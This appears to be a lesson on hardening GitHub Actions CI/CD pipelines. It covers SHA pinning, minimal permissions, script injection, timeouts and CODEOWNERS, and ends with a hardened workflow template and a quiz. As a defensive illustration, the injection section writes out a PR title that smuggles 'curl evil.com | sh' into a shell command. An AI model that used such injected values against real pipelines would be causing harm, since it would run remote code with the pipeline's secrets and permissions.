Your pipeline is a high-value target: it has secrets, pushes to registries, and can deploy to production. This lesson teaches you to defend it against supply chain attacks, injection, and credential theft.
Attack Surface of a CI/CD Pipeline
The Hardening Checklist
1. Pin Actions to SHA (Not Tags)
- uses: actions/checkout@v4 - uses: some-user/action@main
Tags and branches can be force-pushed. @main can change any time.
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 pinned to exact commit
SHA is immutable. Even if the action repo is compromised later, your pin is safe.
2. Minimal Permissions
# No permissions block = read+write ALL name: CI on: push jobs: ...
permissions: contents: read # Only what's needed id-token: write # Only for OIDC # Everything else = none
3. Prevent Script Injection
# If PR title is: "; curl evil.com | sh; echo "
- run: echo "PR: ${{ github.event.pull_request.title }}"
Untrusted input interpolated directly into shell = RCE
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR: $PR_TITLE"
Environment variable = data, not code. Safe.
4. Timeouts & Concurrency
jobs:
build:
timeout-minutes: 15 # Never run forever
runs-on: ubuntu-latest
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true # Prevent resource exhaustion
5. Protect Workflow Changes
# .github/CODEOWNERS
.github/workflows/ @security-team @platform-team
.github/actions/ @security-team
Dockerfile @security-team
Require review from security/platform team for ANY workflow change.
The Hardened Workflow Template
name: CI (Hardened)
on:
push:
branches: [main]
pull_request:
# MINIMAL permissions
permissions:
contents: read
# Prevent resource exhaustion
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
jobs:
build:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
# Pin to SHA
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
with:
persist-credentials: false # Don't leave creds around
# Use env for untrusted input
- name: Process safely
env:
COMMIT_MSG: ${{ github.event.head_commit.message }}
run: echo "Building for commit: $COMMIT_MSG"
🧠 Recall Check
- Why pin actions to SHA instead of a version tag like
@v4? - What's the injection attack when you write
run: echo "${{ github.event.pull_request.title }}"? - What does
permissions: contents: readprevent? - Name three things CODEOWNERS should protect in a repo.
Reveal answers
- Tags can be moved (force-pushed) to point to different code. A compromised action maintainer can change what
@v4points to. SHA is immutable — it ALWAYS refers to the same commit. - The PR title is user-controlled input. If it contains
"; malicious-command; echo ", it breaks out of the echo and executes arbitrary commands with your pipeline's permissions and secrets. - Without explicit permissions, the GITHUB_TOKEN defaults to read+write on many scopes. Setting
contents: readmeans the token can only read code, not push commits, create releases, etc. .github/workflows/(pipeline definitions),.github/actions/(custom actions),Dockerfile(build definitions). These control what runs in your pipeline — unauthorized changes = supply chain attack.
Security isn't a feature you add later — it's a property of how you write pipelines from day one. The hardening checklist: pin SHAs, minimal permissions, env vars for untrusted input, timeouts, CODEOWNERS. Apply these to every workflow you write.
Next lesson: Image Signing & Verification — proving your images came from YOUR pipeline.